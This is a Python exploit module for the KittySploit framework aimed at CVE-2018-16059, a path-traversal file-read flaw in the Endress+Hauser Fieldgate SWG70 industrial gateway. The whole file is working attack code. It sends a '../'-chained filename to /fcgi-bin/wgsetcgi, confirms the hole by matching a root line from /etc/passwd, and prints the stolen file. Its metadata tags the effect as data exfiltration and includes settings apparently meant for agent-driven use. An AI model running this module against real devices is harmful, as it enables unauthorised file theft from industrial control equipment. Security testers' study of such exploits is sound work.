Fieldgate SWG70 LFI (CVE-2018-16059)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Endress+Hauser Fieldgate SWG70 LFI (CVE-2018-16059)."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Fieldgate SWG70 LFI (CVE-2018-16059)',
        'description': (
            'Exploits CVE-2018-16059 in WirelessHART Fieldgate SWG70 3.0: path traversal '
            'via fcgi-bin/wgsetcgi filename parameter reads /etc/passwd and other files.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-16059'],
        'platform': Platform.LINUX,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-16059'],
        'tags': ['fieldgate', 'iot', 'scada', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2018_16059_detect']},
        },
    }

    file_path = OptString('/etc/passwd', 'Remote file to read', required=True)

    def execute(self, remote_path: str) -> str:
        traversal = '../' * 12 + remote_path.lstrip('/')
        data = (
            'action=ajax&command=4'
            f'&filename={traversal}'
            '&origin=cw.Communication.File.Read&transaction=fileCommand'
        )
        r = self.http_request(
            method='POST',
            path='/fcgi-bin/wgsetcgi',
            data=data,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        return (r.text or '') if r else ''

    def check(self):
        body = self.execute(str(self.file_path or '/etc/passwd'))
        if re.search(r'root:.*:0:0:', body or ''):
            return {'vulnerable': True, 'reason': 'Fieldgate traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'wgsetcgi LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Fieldgate SWG70 not vulnerable')
            return False
        body = self.execute(str(self.file_path or '/etc/passwd'))
        print_success(body[:4000])
        return True